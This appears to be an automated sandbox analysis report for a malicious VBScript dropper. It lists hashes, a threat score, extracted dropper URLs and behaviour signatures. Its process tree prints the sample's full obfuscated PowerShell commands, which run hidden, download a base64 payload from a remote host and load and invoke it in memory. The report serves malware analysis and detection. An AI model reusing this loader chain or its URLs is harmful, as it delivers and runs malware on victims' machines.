Overview

overview

10

Static

static

1

f47da41573...41.vbs

windows7-x64

10

f47da41573...41.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    15s
  • max time network
    20s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    02-10-2024 03:26

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General

  • Target

    f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41.vbs

  • Size

    283KB

  • MD5

    0c6c4542c1abc5fc3d5eab3e4ab3793a

  • SHA1

    288dfb240061530c2c73ae4183b7330623e94a69

  • SHA256

    f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41

  • SHA512

    7c3e22629060d8b18f1e88cbcb946d470599ac14699c75a7c1bf5cec0e174b8b3552eb6ec580defa747cb4cd5d9bfcc56e4ee9aa3dd366ed4272f88718ed8e2b

  • SSDEEP

    6144:krHUuR5e0zLMcgGkkurXmTX/lb+rsb4Okiy+3kPvvA:kr0uR5e0nMc/kLrWTX/lb+rsb4Okiy47

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2736

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    6bc4b2bb9a2392426790a4ba816b0183

    SHA1

    724f8659789387a3de325774684371b64cb33ca5

    SHA256

    1d1c07af30012833b6eac745bfc3ee55cdd9fbd7f75e7b364884916189702101

    SHA512

    3a25231a17a2be8ecad0379d9c1a796fd3dcb10aaeb3f96bcc8adec93d534df5e9e5ff7767d4615c137754c16d90d2c69ef5e6dbd89dd989ad1c9c3aa9476ff8

    Download Submit

  • memory/2220-4-0x000007FEF625E000-0x000007FEF625F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2220-5-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2220-6-0x0000000002560000-0x0000000002568000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2220-7-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2220-8-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2220-9-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2220-10-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2220-15-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2220-17-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

    Filesize

    9.6MB

    Download